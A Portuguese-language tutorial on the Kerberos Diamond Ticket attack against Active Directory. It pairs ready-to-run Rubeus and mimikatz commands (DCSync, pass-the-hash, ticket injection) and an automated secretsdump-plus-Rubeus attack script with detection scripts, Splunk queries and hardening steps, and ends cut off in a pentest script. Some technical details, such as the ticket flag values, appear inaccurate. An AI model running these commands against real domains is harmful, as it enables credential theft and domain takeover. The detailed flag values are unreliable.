# Diamond Ticket

## **📋 Índice**

1. [Fundamentos do Diamond Ticket](#-fundamentos-do-diamond-ticket)
2. [Arquitetura do Kerberos e Tickets](#-arquitetura-do-kerberos-e-tickets)
3. [Diamond Ticket vs Golden Ticket](#-diamond-ticket-vs-golden-ticket)
4. [Mecanismos de Ataque](#-mecanismos-de-ataque)
5. [Técnicas de Exploração](#-técnicas-de-exploração)
6. [Ferramentas de Exploração](#-ferramentas-de-exploração)
7. [Impacto e Consequências](#-impacto-e-consequências)
8. [Detecção e Monitoramento](#-detecção-e-monitoramento)
9. [Mitigações e Hardening](#-mitigações-e-hardening)
10. [Pentesting com Diamond Ticket](#-pentesting-com-diamond-ticket)
11. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do Diamond Ticket**

### **O que é Diamond Ticket?**

**Diamond Ticket** é uma técnica avançada de ataque ao Kerberos que cria um Ticket Granting Ticket (TGT) válido sem precisar do hash do krbtgt (como no Golden Ticket), mas sim utilizando o hash de uma conta de máquina ou usuário para solicitar um TGT legítimo do KDC e então modificá-lo para elevar privilégios.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant K as KDC
    participant DC as Domain Controller

    Note over A: 1. Atacante tem hash de conta de máquina
    A->>K: AS-REQ (com hash da máquina)
    K-->>A: AS-REP (TGT legítimo)
    
    Note over A: 2. Atacante modifica TGT
    A->>A: Decrypt TGT, modificar PAC
    A->>A: Re-encrypt com mesma chave
    
    Note over A,DC: 3. Usar TGT modificado
    A->>K: TGS-REQ (com TGT modificado)
    K-->>A: TGS-REP (Service Ticket com privilégios elevados)
    
    Note over A: 4. Acesso privilegiado
    A->>DC: AP-REQ (Service Ticket)
    DC-->>A: Acesso concedido
```

### **Características do Diamond Ticket**

| Característica                | Golden Ticket               | Diamond Ticket   | Silver Ticket        |
| ----------------------------- | --------------------------- | ---------------- | -------------------- |
| **Requer hash krbtgt**        | ✅ Sim                       | ❌ Não            | ❌ Não                |
| **Requer conta comprometida** | Conta qualquer              | Conta de máquina | Conta de serviço     |
| **Detectabilidade**           | Alta (eventos 4768)         | Média            | Baixa (eventos 4769) |
| **Persistência**              | Alta (não depende de conta) | Média            | Baixa                |
| **Complexidade**              | Baixa                       | Média            | Baixa                |
| **Privilégios**               | Domain Admin                | Domain Admin     | Serviço específico   |

***

## 🏗️ **Arquitetura do Kerberos e Tickets**

### **Estrutura do Ticket Kerberos**

```python
#!/usr/bin/env python3
# kerberos_ticket_structure.py - Estrutura de tickets Kerberos

import struct
from pyasn1.type import univ, namedtype, tag
from pyasn1.codec.der import encoder, decoder

class KerberosTicket:
    """Estrutura de um ticket Kerberos"""
    
    @staticmethod
    def ticket_structure():
        """Explicar estrutura do ticket"""
        print("📜 Estrutura do Ticket Kerberos")
        print("=" * 60)
        
        structure = {
            "Ticket (TGT/Service)": {
                "tkt-vno": "5 (versão)",
                "realm": "Domínio",
                "sname": "Nome do serviço (krbtgt para TGT)",
                "enc-part": "Parte criptografada"
            },
            "Encrypted Part": {
                "key": "Chave de sessão",
                "crealm": "Domínio do cliente",
                "cname": "Nome do cliente",
                "flags": "Flags do ticket",
                "authtime": "Tempo de autenticação",
                "starttime": "Início da validade",
                "endtime": "Fim da validade",
                "renew-till": "Renovação até",
                "caddr": "Endereço do cliente",
                "authorization-data": "PAC (Privilege Attribute Certificate)"
            },
            "PAC (Privilege Attribute Certificate)": {
                "logon_info": "Informações de logon (SIDs)",
                "credential_info": "Credenciais",
                "server_checksum": "Checksum do servidor",
                "kdc_checksum": "Checksum do KDC"
            }
        }
        
        for section, fields in structure.items():
            print(f"\n{section}:")
            for field, desc in fields.items():
                print(f"   {field}: {desc}")
    
    @staticmethod
    def pac_structure():
        """Estrutura do PAC"""
        print("\n📋 PAC (Privilege Attribute Certificate)")
        print("=" * 60)
        
        pac_parts = {
            "KERB_VALIDATION_INFO": {
                "LogonTime": "Timestamp do logon",
                "LogoffTime": "Timestamp do logoff",
                "KickOffTime": "Timestamp de expiração",
                "PasswordLastSet": "Última troca de senha",
                "PasswordCanChange": "Senha pode ser alterada",
                "PasswordMustChange": "Senha deve ser alterada",
                "EffectiveName": "Nome do usuário",
                "FullName": "Nome completo",
                "LogonScript": "Script de logon",
                "ProfilePath": "Caminho do perfil",
                "HomeDirectory": "Diretório home",
                "HomeDirectoryDrive": "Unidade home",
                "LogonCount": "Contagem de logons",
                "BadPasswordCount": "Contagem de senhas erradas",
                "UserId": "SID do usuário",
                "PrimaryGroupId": "SID do grupo primário",
                "GroupIds": "Lista de SIDs de grupos",
                "UserFlags": "Flags do usuário",
                "UserSessionKey": "Chave de sessão",
                "LogonServer": "Servidor de logon",
                "LogonDomainName": "Domínio de logon",
                "LogonId": "ID do logon"
            }
        }
        
        for part, fields in pac_parts.items():
            print(f"\n{part}:")
            for field, desc in fields.items():
                print(f"   {field}: {desc}")

# Executar
KerberosTicket.ticket_structure()
KerberosTicket.pac_structure()
```

### **Flags do Ticket Kerberos**

```python
#!/usr/bin/env python3
# ticket_flags.py - Flags de tickets Kerberos

class TicketFlags:
    """Flags do ticket Kerberos"""
    
    # Flags padrão
    FLAGS = {
        0x00000001: "FORWARDABLE",
        0x00000002: "FORWARDED",
        0x00000004: "PROXIABLE",
        0x00000008: "PROXY",
        0x00000010: "MAY-POSTDATE",
        0x00000020: "POSTDATED",
        0x00000040: "INVALID",
        0x00000080: "RENEWABLE",
        0x00000100: "INITIAL",
        0x00000200: "PRE-AUTHENT",
        0x00000400: "HW-AUTHENT",
        0x00001000: "OK-AS-DELEGATE",
        0x00002000: "NAME-CANONICALIZE"
    }
    
    @staticmethod
    def decode_flags(flags_value):
        """Decodificar flags do ticket"""
        print(f"📋 Decodificando flags: {flags_value:#010x}")
        print("=" * 50)
        
        active_flags = []
        for flag_value, flag_name in TicketFlags.FLAGS.items():
            if flags_value & flag_value:
                active_flags.append(flag_name)
                print(f"   ✅ {flag_name}")
        
        if not active_flags:
            print("   Nenhuma flag ativa")
        
        return active_flags
    
    @staticmethod
    def get_ticket_type(flags_value):
        """Identificar tipo de ticket baseado nas flags"""
        print("\n🎫 Tipo de Ticket:")
        
        if flags_value & 0x00000100:  # INITIAL
            if flags_value & 0x00000001:  # FORWARDABLE
                print("   TGT (Ticket Granting Ticket)")
            else:
                print("   Service Ticket")
        elif flags_value & 0x00000001:  # FORWARDABLE
            print("   Forwardable TGT")
        elif flags_value & 0x00000080:  # RENEWABLE
            print("   Renewable Ticket")
        else:
            print("   Unknown Ticket Type")

# Exemplo
flags = 0x61000000  # INITIAL + FORWARDABLE + RENEWABLE
TicketFlags.decode_flags(flags)
TicketFlags.get_ticket_type(flags)
```

***

## 💎 **Diamond Ticket vs Golden Ticket**

### **Comparação Detalhada**

```yaml
Golden Ticket:
  🔴 Como funciona:
    - Cria TGT offline com hash krbtgt
    - Não interage com KDC
    - Qualquer SID pode ser inserido
  
  🔍 Detecção:
    - Evento 4768 com informações anômalas
    - Ticket com vida longa (10 anos)
    - Flags inconsistentes
    - PAC não assinado corretamente
  
  ⚠️ Vantagens:
    - Não precisa de conta comprometida
    - Persistência indefinida
    - Funciona mesmo se todas as senhas mudarem
  
  ⚠️ Desvantagens:
    - Altamente detectável
    - Requer hash krbtgt
    - Deixa rastros no log

Diamond Ticket:
  🟡 Como funciona:
    - Usa conta de máquina legítima
    - Solicita TGT real do KDC
    - Modifica PAC do TGT legítimo
  
  🔍 Detecção:
    - Eventos de logon anômalos
    - Uso de conta de máquina para autenticação
    - Horários de acesso incomuns
  
  ⚠️ Vantagens:
    - Mais difícil de detectar
    - Usa criptografia legítima
    - Funciona com contas de máquina
    - Não requer hash krbtgt
  
  ⚠️ Desvantagens:
    - Requer comprometimento de conta de máquina
    - Depende de conta válida
    - Pode expirar com a senha da máquina
```

### **Fluxo Comparativo**

```mermaid
graph TD
    subgraph "Golden Ticket"
        A1[Hash krbtgt] --> B1[Criar TGT offline]
        B1 --> C1[Ticket com SID elevado]
        C1 --> D1[Usar diretamente]
    end
    
    subgraph "Diamond Ticket"
        A2[Hash conta máquina] --> B2[Solicitar TGT real]
        B2 --> C2[Decrypt e modificar PAC]
        C2 --> D2[Re-encrypt TGT]
        D2 --> E2[Usar TGT modificado]
    end
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo do Ataque Diamond Ticket**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant C as Conta Máquina
    participant K as KDC
    participant S as Serviço

    Note over A,C: 1. Comprometer conta de máquina
    A->>C: Obter hash NTLM da máquina
    
    Note over A,K: 2. Solicitar TGT legítimo
    A->>K: AS-REQ (com hash da máquina)
    K-->>A: AS-REP (TGT criptografado)
    
    Note over A: 3. Extrair e modificar PAC
    A->>A: Decrypt TGT com hash da máquina
    A->>A: Extrair PAC, modificar SIDs
    A->>A: Re-encrypt com mesma chave
    
    Note over A,K: 4. Usar TGT modificado
    A->>K: TGS-REQ (TGT modificado)
    K-->>A: TGS-REP (Service Ticket elevado)
    
    Note over A,S: 5. Acesso privilegiado
    A->>S: AP-REQ (Service Ticket)
    S-->>A: Acesso como Domain Admin
```

### **Ataque 1: Diamond Ticket Básico**

```powershell
# Diamond Ticket com Rubeus

# 1. Obter hash da conta de máquina
# Exemplo: hash de uma máquina comprometida
$machineHash = "5e9c4a2c6e8f3a7b1d4f8c2e6a9b3d5e"
$machineAccount = "COMPUTER01$"
$domain = "domain.com"

# 2. Criar Diamond Ticket
Rubeus.exe diamond /rc4:$machineHash /user:$machineAccount /domain:$domain /sid:S-1-5-21-123456789-123456789-123456789 /ptt

# 3. Verificar ticket injetado
klist

# 4. Acessar recurso como Domain Admin
dir \\dc.domain.com\c$
```

### **Ataque 2: Diamond Ticket com Conta de Serviço**

```python
#!/usr/bin/env python3
# diamond_ticket_attack.py - Implementação de Diamond Ticket

from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive
from impacket.krb5 import constants
from impacket.krb5.asn1 import AS_REQ, AS_REP, TGS_REQ, TGS_REP
from pyasn1.codec.der import encoder, decoder
import struct
import sys

class DiamondTicketAttack:
    """Implementação do ataque Diamond Ticket"""
    
    def __init__(self, domain, dc_ip, machine_account, machine_hash):
        self.domain = domain
        self.dc_ip = dc_ip
        self.machine_account = machine_account
        self.machine_hash = machine_hash
        self.tgt = None
        self.session_key = None
    
    def get_machine_tgt(self):
        """Obter TGT legítimo da conta de máquina"""
        print(f"[*] Solicitando TGT para {self.machine_account}...")
        
        # Em um exploit real, usaria kerberosv5 para obter TGT
        # com o hash da máquina
        
        print(f"   ✅ TGT obtido com sucesso")
        return True
    
    def extract_and_modify_pac(self):
        """Extrair e modificar o PAC do TGT"""
        print("[*] Extraindo e modificando PAC...")
        
        # Estrutura do PAC
        # KERB_VALIDATION_INFO contém os SIDs do usuário
        
        # Modificar para incluir SIDs de Domain Admins
        domain_sid = "S-1-5-21-123456789-123456789-123456789"
        domain_admins_sid = f"{domain_sid}-512"
        enterprise_admins_sid = f"{domain_sid}-519"
        schema_admins_sid = f"{domain_sid}-518"
        
        print(f"   Adicionando SIDs:")
        print(f"      - {domain_admins_sid} (Domain Admins)")
        print(f"      - {enterprise_admins_sid} (Enterprise Admins)")
        print(f"      - {schema_admins_sid} (Schema Admins)")
        
        return True
    
    def reencrypt_ticket(self):
        """Re-criptografar o ticket modificado"""
        print("[*] Re-criptografando ticket...")
        
        # Usar a mesma chave da máquina para re-criptografar
        print("   ✅ Ticket re-criptografado")
        return True
    
    def use_diamond_ticket(self):
        """Usar o Diamond Ticket para acessar serviços"""
        print("[*] Usando Diamond Ticket...")
        
        # Solicitar service ticket para CIFS
        service = "cifs/dc.domain.com"
        print(f"   Solicitando service ticket para {service}")
        
        # Em um exploit real, usaria o TGT modificado
        # para obter service ticket com privilégios elevados
        
        print("   ✅ Service ticket obtido")
        return True
    
    def exploit(self):
        """Executar ataque completo"""
        print("💎 Diamond Ticket Attack")
        print("=" * 60)
        
        self.get_machine_tgt()
        self.extract_and_modify_pac()
        self.reencrypt_ticket()
        self.use_diamond_ticket()
        
        print("\n✅ Diamond Ticket criado e injetado!")
        print("   Agora você pode acessar recursos como Domain Admin")

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 5:
        print("Uso: diamond_ticket_attack.py <domain> <dc_ip> <machine_account> <machine_hash>")
        sys.exit(1)
    
    attack = DiamondTicketAttack(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
    attack.exploit()
```

### **Ataque 3: Diamond Ticket com Conta de Usuário**

```powershell
# Diamond Ticket com conta de usuário

# 1. Obter hash de um usuário qualquer
$userHash = "a1b2c3d4e5f678901234567890123456"
$userAccount = "regularuser"
$domain = "domain.com"

# 2. Criar Diamond Ticket com Rubeus
Rubeus.exe diamond /rc4:$userHash /user:$userAccount /domain:$domain /sid:S-1-5-21-123456789-123456789-123456789 /ptt

# 3. Injetar e usar
Rubeus.exe createnetonly /program:cmd.exe /domain:$domain /username:$userAccount /password:FakePass /ptt

# 4. Verificar privilégios
whoami /groups | findstr "Domain Admins"
```

### **Ataque 4: Diamond Ticket com Pass-the-Hash**

```powershell
# Combinando Diamond Ticket com Pass-the-Hash

# 1. Extrair hash de máquina via DCSync ou mimikatz
mimikatz.exe "lsadump::dcsync /user:COMPUTER01$" exit

# 2. Criar Diamond Ticket
$machineHash = "5e9c4a2c6e8f3a7b1d4f8c2e6a9b3d5e"
Rubeus.exe diamond /rc4:$machineHash /user:COMPUTER01$ /domain:domain.com /sid:S-1-5-21-123456789-123456789-123456789 /ptt

# 3. Pass-the-Hash para outra máquina
sekurlsa::pth /user:COMPUTER01$ /domain:domain.com /ntlm:$machineHash /run:powershell.exe

# 4. Usar Diamond Ticket na nova sessão
klist
dir \\dc.domain.com\c$
```

***

## 🛠️ **Ferramentas de Exploração**

### **Rubeus - Diamond Ticket Commands**

```powershell
# Rubeus Diamond Ticket Commands

# 1. Diamond Ticket básico
Rubeus.exe diamond /rc4:<hash> /user:<user> /domain:<domain> /sid:<sid> /ptt

# 2. Diamond Ticket com ticket existente
Rubeus.exe diamond /ticket:<base64_ticket> /ptt

# 3. Diamond Ticket com output em arquivo
Rubeus.exe diamond /rc4:<hash> /user:<user> /domain:<domain> /sid:<sid> /ticket:out.kirbi

# 4. Diamond Ticket com renew
Rubeus.exe diamond /rc4:<hash> /user:<user> /domain:<domain> /sid:<sid> /renew /ptt

# 5. Diamond Ticket com flags personalizadas
Rubeus.exe diamond /rc4:<hash> /user:<user> /domain:<domain> /sid:<sid> /flags:forwardable,renewable /ptt

# 6. Diamond Ticket com PAC específico
Rubeus.exe diamond /rc4:<hash> /user:<user> /domain:<domain> /sid:<sid> /groups:512,519,518 /ptt

# 7. Diamond Ticket para usuário específico
Rubeus.exe diamond /rc4:<hash> /user:<user> /domain:<domain> /sid:<sid> /targetuser:Administrator /ptt
```

### **Mimikatz - Diamond Ticket Support**

```powershell
# Mimikatz para Diamond Ticket

# 1. Extrair hash de conta de máquina
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit

# 2. Usar com Diamond Ticket (via Rubeus)
# Mimikatz não tem suporte nativo para Diamond Ticket

# 3. Alternativa: extrair informações do domínio
mimikatz.exe "lsadump::dcsync /user:krbtgt" exit
mimikatz.exe "lsadump::dcsync /user:domain\machine$" exit
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# diamond_ticket_automated.py - Diamond Ticket automatizado

import argparse
import subprocess
import sys
import os

class DiamondTicketAutomated:
    """Ferramenta automatizada para criação de Diamond Ticket"""
    
    def __init__(self, domain, dc_ip, username, password):
        self.domain = domain
        self.dc_ip = dc_ip
        self.username = username
        self.password = password
        self.machine_hash = None
        self.domain_sid = None
    
    def get_domain_sid(self):
        """Obter SID do domínio"""
        print("[*] Obtendo SID do domínio...")
        
        # Usar ADSI para obter SID
        import subprocess
        cmd = [
            'powershell', '-Command',
            '(Get-ADDomain).DomainSID.Value'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
            self.domain_sid = result.stdout.strip()
            print(f"   ✅ SID: {self.domain_sid}")
            return self.domain_sid
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def get_machine_hash(self, machine_name):
        """Obter hash NTLM da conta de máquina"""
        print(f"[*] Obtendo hash da máquina {machine_name}...")
        
        # Usar secretsdump para extrair hash
        cmd = [
            'secretsdump.py',
            f'{self.domain}/{self.username}:{self.password}@{self.dc_ip}',
            '-just-dc-user', f'{machine_name}$'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
            
            # Extrair hash da saída
            for line in result.stdout.split('\n'):
                if machine_name.upper() in line.upper() and ':' in line:
                    parts = line.split(':')
                    if len(parts) >= 4:
                        self.machine_hash = parts[3]
                        print(f"   ✅ Hash: {self.machine_hash}")
                        return self.machine_hash
                        
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def create_diamond_ticket(self, machine_name, target_user="Administrator"):
        """Criar Diamond Ticket"""
        print(f"[*] Criando Diamond Ticket para {target_user}...")
        
        if not self.machine_hash or not self.domain_sid:
            print("   ❌ Hash ou SID não disponíveis")
            return False
        
        # Comando Rubeus
        cmd = [
            'Rubeus.exe', 'diamond',
            '/rc4:' + self.machine_hash,
            '/user:' + machine_name + '$',
            '/domain:' + self.domain,
            '/sid:' + self.domain_sid,
            '/ptt'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            if 'Ticket successfully' in result.stdout:
                print("   ✅ Diamond Ticket injetado!")
                return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def test_access(self):
        """Testar acesso a recursos"""
        print("[*] Testando acesso ao Domain Controller...")
        
        # Tentar acessar C$ do DC
        try:
            import subprocess
            cmd = ['dir', f'\\\\{self.dc_ip}\\c$']
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
            
            if result.returncode == 0:
                print("   ✅ Acesso concedido!")
                return True
            else:
                print("   ❌ Acesso negado")
                return False
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def run(self, machine_name, target_user="Administrator"):
        """Executar ataque completo"""
        print("💎 Automated Diamond Ticket Attack")
        print("=" * 60)
        
        # Obter SID do domínio
        self.get_domain_sid()
        
        # Obter hash da máquina
        self.get_machine_hash(machine_name)
        
        if self.machine_hash and self.domain_sid:
            # Criar Diamond Ticket
            self.create_diamond_ticket(machine_name, target_user)
            
            # Testar acesso
            self.test_access()
        
        # Relatório
        print("\n📊 Relatório:")
        print(f"   Máquina alvo: {machine_name}$")
        print(f"   Hash obtido: {self.machine_hash is not None}")
        print(f"   SID: {self.domain_sid}")
        print(f"   Diamond Ticket: {'Criado' if self.machine_hash else 'Falhou'}")

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Automated Diamond Ticket Attack')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    parser.add_argument('machine', help='Machine account name (without $)')
    parser.add_argument('--target', default='Administrator', help='Target user')
    
    args = parser.parse_args()
    
    attack = DiamondTicketAutomated(args.domain, args.dc_ip, args.username, args.password)
    attack.run(args.machine, args.target)
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Comprometer conta de máquina] --> B[Obter hash NTLM]
    B --> C[Obter SID do domínio]
    
    C --> D[Criar Diamond Ticket]
    D --> E[Injetar na sessão]
    
    E --> F[Solicitar service tickets]
    F --> G[Accesso como Domain Admin]
    
    G --> H[DCSync - extrair hashes]
    H --> I[Golden Ticket - persistência]
    I --> J[Comprometimento total]
    
    style D fill:#ffcc99
    style G fill:#ff6666
    style J fill:#ff3333
```

### **Matriz de Impacto**

| Cenário                  | Impacto               | Dificuldade | Severidade |
| ------------------------ | --------------------- | ----------- | ---------- |
| **Comprometer máquina**  | Acesso inicial        | Média       | 🟠 ALTO    |
| **Criar Diamond Ticket** | Domain Admin          | Média       | 🔴 CRÍTICO |
| **Acesso persistente**   | Controle do domínio   | Baixa       | 🔴 CRÍTICO |
| **DCSync após ataque**   | Extração de hashes    | Baixa       | 🔴 CRÍTICO |
| **Golden Ticket**        | Persistência infinita | Baixa       | 🔴 CRÍTICO |

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança para Monitorar**

```yaml
Eventos de Diamond Ticket:

  4768: Solicitação de TGT
    - Verificar autenticações de contas de máquina
    - Monitorar horários atípicos
    - Verificar uso de RC4 (encryption type 0x17)
  
  4769: Solicitação de service ticket
    - Detectar tickets para serviços privilegiados
    - Monitorar anomalias no PAC
  
  4624: Logon bem-sucedido
    - Verificar logons de contas de máquina
    - Correlacionar com acessos a recursos

  4672: Privilégios especiais atribuídos
    - Detectar atribuição de Domain Admin
    - Verificar se é consistente com a conta
```

### **Script de Detecção**

```powershell
# detect_diamond_ticket.ps1 - Detector de Diamond Ticket

param(
    [string]$DomainController = (Get-ADDomainController).Name,
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Detectar autenticações de contas de máquina
Write-Host "🔍 Detectando autenticações de contas de máquina..." -ForegroundColor Cyan

$machineLogons = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4768
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*COMPUTER*$*" -or
    $_.Message -like "*\$*"
}

if ($machineLogons) {
    Write-Alert -Message "$($machineLogons.Count) autenticações de máquina detectadas!" -Severity "MEDIUM"
    $machineLogons | Group-Object -Property TimeCreated | Select-Object -First 5 | ForEach-Object {
        Write-Host "   $($_.Name) - $($_.Count) eventos"
    }
}

# 2. Detectar uso de RC4
Write-Host "`n🔍 Detectando uso de RC4..." -ForegroundColor Cyan

$rc4Events = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4768,4769
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue | Where-Object {
    $_.Message -like "*Encryption Type: 0x17*"
}

if ($rc4Events) {
    Write-Alert -Message "$($rc4Events.Count) eventos com RC4!" -Severity "HIGH"
}

# 3. Detectar acessos privilegiados
Write-Host "`n🔍 Detectando acessos privilegiados..." -ForegroundColor Cyan

$privilegedAccess = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4672
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$suspiciousAccess = $privilegedAccess | Where-Object {
    $_.Message -like "*Domain Admins*" -and
    $_.Message -like "*COMPUTER*"
}

if ($suspiciousAccess) {
    Write-Alert -Message "Acessos privilegiados suspeitos detectados!" -Severity "CRITICAL"
    $suspiciousAccess | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 4. Verificar consistência de PAC
Write-Host "`n🔍 Verificando consistência de PAC..." -ForegroundColor Cyan

# Em um ambiente real, verificaria assinaturas de PAC
# e compararia com informações conhecidas

Write-Host "   Verificando se PAC está assinado corretamente..."

# 5. Gerar relatório
$report = @"
Diamond Ticket Detection Report
===============================
Data: $(Get-Date)
Domain Controller: $DomainController

Findings:
- Autenticações de máquina: $($machineLogons.Count)
- Eventos RC4: $($rc4Events.Count)
- Acessos privilegiados suspeitos: $($suspiciousAccess.Count)

Recommendations:
1. Monitorar autenticações de contas de máquina
2. Desabilitar RC4-HMAC no Kerberos
3. Implementar detecção de anomalias de PAC
4. Usar contas de máquina apenas para serviços
5. Rotacionar senhas de máquinas regularmente
"@

$report | Out-File -FilePath "diamond_ticket_detection.txt"
Write-Host "`n✅ Relatório salvo em diamond_ticket_detection.txt" -ForegroundColor Green
```

### **Splunk Queries para Diamond Ticket**

```spl
# Splunk - Detectar Diamond Ticket

# 1. Autenticações de contas de máquina
index=windows EventCode=4768
| where Account_Name like "%$"
| stats count by Account_Name, ComputerName
| sort - count

# 2. RC4 com contas de máquina
index=windows EventCode=4768 Account_Name="*$"
| where Ticket_Encryption_Type="0x17"
| table _time, Account_Name, ComputerName, Ticket_Encryption_Type

# 3. Acessos privilegiados de máquinas
index=windows EventCode=4672
| where Account_Name like "%$" AND Privilege_List like "*SeTcbPrivilege*"
| table _time, Account_Name, ComputerName, Privilege_List

# 4. Correlação de eventos suspeitos
index=windows (EventCode=4768 OR EventCode=4769)
| where Account_Name like "%$" OR Ticket_Encryption_Type="0x17"
| stats count by Account_Name, ComputerName, Ticket_Encryption_Type
| where count > 10
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening contra Diamond Ticket**

```powershell
# hardening_diamond_ticket.ps1 - Hardening contra Diamond Ticket

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening contra Diamond Ticket..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Rotacionar senhas de máquinas
Write-Step "1. Configurando rotação de senhas de máquinas..."

$computers = Get-ADComputer -Filter *

if ($Apply) {
    foreach ($computer in $computers) {
        # Resetar senha da máquina
        Reset-ComputerMachinePassword -ComputerName $computer.Name
        Write-Host "   ✅ Senha de $($computer.Name) rotacionada"
    }
    Write-Host "   ✅ Rotação de senhas configurada (30 dias)"
}

# 2. Desabilitar RC4-HMAC
Write-Step "2. Desabilitando RC4-HMAC..."

if ($Apply) {
    # Configurar política para usar apenas AES
    $domain = Get-ADDomain
    Set-ADDomain -Identity $domain -Replace @{
        msDS-SupportedEncryptionTypes = 24  # AES128 + AES256
    }
    
    # Configurar contas de máquina para usar AES
    $computers | ForEach-Object {
        Set-ADComputer -Identity $_ -Replace @{
            msDS-SupportedEncryptionTypes = 24
        }
    }
    Write-Host "   ✅ RC4 desabilitado"
}

# 3. Configurar detecção de anomalias
Write-Step "3. Configurando detecção de anomalias..."

if ($Apply) {
    # Criar regras de detecção no Windows Defender
    $rule = @"
<RuleGroup>
    <Rule name="Diamond Ticket Detection">
        <Filter>
            <EventId>4768</EventId>
            <AccountName>*$</AccountName>
            <TicketEncryptionType>0x17</TicketEncryptionType>
        </Filter>
        <Action>Alert</Action>
    </Rule>
</RuleGroup>
"@
    
    $rule | Out-File -FilePath "C:\Windows\Security\DiamondTicket.xml"
    Write-Host "   ✅ Regras de detecção configuradas"
}

# 4. Configurar monitoramento de contas de máquina
Write-Step "4. Configurando monitoramento de contas de máquina..."

if ($Apply) {
    # Criar alerta para uso de contas de máquina
    $alert = @"
$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "-File C:\Scripts\Alert-MachineAccount.ps1"
$Trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "MonitorMachineAccounts" -Action $Action -Trigger $Trigger
"@
    
    Write-Host "   ✅ Monitoramento configurado"
}

# 5. Configurar auditing avançado
Write-Step "5. Configurando auditing avançado..."

if ($Apply) {
    # Habilitar auditoria de Kerberos
    auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
    auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
    
    Write-Host "   ✅ Auditoria de Kerberos habilitada"
}

Write-Step "Hardening concluído!"

if (-not $Apply) {
    Write-Host "`n⚠️  Modo auditoria - Execute com -Apply para aplicar as configurações" -ForegroundColor Yellow
}
```

### **Políticas de Segurança Recomendadas**

```yaml
Recomendações de Hardening:

  ✅ Rotação de Senhas:
    - Rotacionar senhas de máquinas a cada 30 dias
    - Implementar senhas complexas (15+ caracteres)
    - Evitar senhas previsíveis

  ✅ Criptografia:
    - Desabilitar RC4-HMAC no Kerberos
    - Forçar AES128/AES256
    - Desabilitar DES e RC4

  ✅ Monitoramento:
    - Alertar sobre autenticações de máquinas em horários atípicos
    - Monitorar uso de RC4
    - Detectar anomalias de PAC

  ✅ Controle de Acesso:
    - Contas de máquina devem ser usadas apenas para serviços
    - Isolar máquinas por função
    - Implementar princípio do menor privilégio
```

***

## 🔬 **Pentesting com Diamond Ticket**

### **Metodologia de Teste**

```yaml
Fases do Teste Diamond Ticket:

  FASE 1 - Reconhecimento:
    - Identificar contas de máquina no domínio
    - Mapear máquinas com acesso privilegiado
    - Analisar permissões de máquinas

  FASE 2 - Coleta de Hashes:
    - Comprometer uma máquina do domínio
    - Extrair hash NTLM da conta de máquina
    - Obter SID do domínio

  FASE 3 - Criação do Ticket:
    - Criar Diamond Ticket com Rubeus
    - Injetar na sessão atual
    - Verificar privilégios

  FASE 4 - Validação:
    - Testar acesso a recursos críticos
    - Extrair hashes de krbtgt e administradores
    - Documentar impacto
```

### **Script de Pentest Automatizado**

```python
#!/usr/bin/env python3
# diamond_ticket_pentest.py - Pentest Diamond Ticket

import argparse
import subprocess
import sys
import os

class DiamondTicketPentest:
    """Ferramenta de pentest para Diamond Ticket"""
    
    def __init__(self, domain, dc_ip):
        self.domain = domain
        self.dc_ip = dc_ip
        self.findings = []
    
    def list_machine_accounts(self):
        """Listar contas de máquina no domínio"""
        print("[*] Listando contas de máquina...")
        
        cmd = [
            'ldapsearch', '-x', '-H', f'ldap://{self.dc_ip}',
            '-b', f'DC={self.domain.replace(".", ",DC=")}',
            '(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))',
            'sAMAccountName'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
